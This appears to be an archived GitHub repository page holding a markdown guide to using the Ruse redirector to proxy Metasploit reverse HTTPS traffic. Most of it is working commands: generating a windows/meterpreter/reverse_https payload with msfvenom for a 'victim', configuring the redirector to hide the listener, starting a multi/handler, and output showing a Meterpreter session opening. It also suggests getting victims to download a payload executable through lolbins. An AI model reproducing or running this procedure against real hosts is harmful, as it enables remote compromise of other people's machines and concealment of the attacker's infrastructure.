Skip to content
This repository has been archived by the owner on Jan 10, 2025. It is now read-only.

Latest commit

 

History

History
111 lines (98 loc) · 4.61 KB

msf-reverse-https.md

File metadata and controls

111 lines (98 loc) · 4.61 KB

Using Metasploit with Ruse

This document describes how to use Ruse to redirect or proxy the Metasploit's HTTPS payloads.

Summary

You can use Ruse to redirect or proxy Metasploit's reverse HTTP(S) traffic, such as those generated by the MSF's windows/meterpreter/reverse_https payloads. The below instructions describe how to setup Metasploit and Ruse so you can rapidly get a shell back from a vulnerable host, through the Redirector All HTTPS traffic will be forwarded from the victim to your Ruse instance and vis-versa, effectively "hiding" your metasploit's listener from the outside.

Setting up Ruse

First and foremost, we clone the Ruse repository if not already done and we compile it using the Go compiler:

eprom@kali:~$ git clone https://github.com/e3prom/ruse.git
eprom@kali:~$ cd ruse/
eprom@kali:~/ruse$ go build -o ruse src/ruse/main.go

Now we have a ruse executable in the current working directory, we will generate an RSA key pair and a self-signed X.509 certificate to be used by the SSL/TLS server of our redirector:

eprom@kali:~/ruse$ openssl req -new -newkey rsa:2048 -days 365 -nodes \
                   -x509 -keyout server.key -out server.crt -outform pem
Generating a 2048 bit RSA private key
[...]

Make sure the key is only readable by the Ruse's user and that the certificate's Common Name (CN) matches the LHOST value that we will pass to msfvenom later.

Now edit the Ruse configuration file to enable HTTPS (SSL/TLS):

eprom@kali:~/ruse$ vi conf/ruse.conf

Add the tls value to the Protocols array like so:

    "Protocols": [ "plain", "tls" ],

Also change the Hostname attribute value, so Ruse will listen on the appropriate interface facing your victim(s).

Inside the Proxy attributes, change the values of the sub-attributes target to point to your Metasploit's listener IP address or hostname. The latter must be of course reacheable from your Ruse's host.

By default the example configuration file includes the default User-Agent strings of the of Metasploit's payloads, the main string can be changed if necessary. Please note there is two proxy entries, one is matching the default Metasploit's User-Agent header field string, the second is matching an empty/non-existent User-Agent header field which is often used by the MSF payloads in their early stage of connection.

And last, but not least, we start Ruse from the command-line:

eprom@kali:~/ruse$ ./ruse -c conf/ruse.conf 
Starting HTTP Server on 2.22.153.215:8000
Starting HTTPS Server on 2.22.153.215:443

Setting up Metasploit

We will now use the msfvenom utility to generate a Metasploit's reverse HTTP payloads, to be executed or injected to our victim:

eprom@kali:~$ msfvenom -p windows/meterpreter/reverse_https LHOST=2.22.153.215 LPORT=443 HttpHostHeader=46.4.100.250 -f c
  • Set the LHOST variable to point to your Ruse's IP address.
  • Set the LPORT variable to point to your Ruse's listen port.
  • Set the HttpHostHeader advanced variable to point to your Metasploit listener's IP address.

Note that we can use Ruse to deliver our payload as well, if you chose by example to generate an .exe file. Place the file somewhere in the Ruse's root directory and make your victim download it (e,g. using lolbins).

We can now start our Metasploit listener:

eprom@kali:~$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST 2.22.153.215
LHOST => 2.22.153.215
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > set HttpHostHeader 46.4.100.250
HttpHostHeader => 46.4.100.250
msf exploit(multi/handler) > set OverrideRequestHost True
OverrideRequestHost => True
msf exploit(multi/handler) > set ExitonSession false
ExitonSession => false
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[-] Handler failed to bind to 2.22.153.215:443

Set the LHOST and LPORT variable like above with msfvenom even if it looks odds and counter-intuitive. MSF will in fact, listen on all interfaces, and handle the proxied reverse shells correctly, despite the error message.

If everything goes well, you should get a reverse shell back via your redirector:

[*] https://2.22.153.215:443 handling request from 2.22.153.215; (UUID: ugrfv5ws) Staging x86 payload (180865 bytes) ...
[*] Meterpreter session 1 opened (46.4.100.250:443 -> 2.22.153.215:48562) at 2018-11-22 12:11:10 -050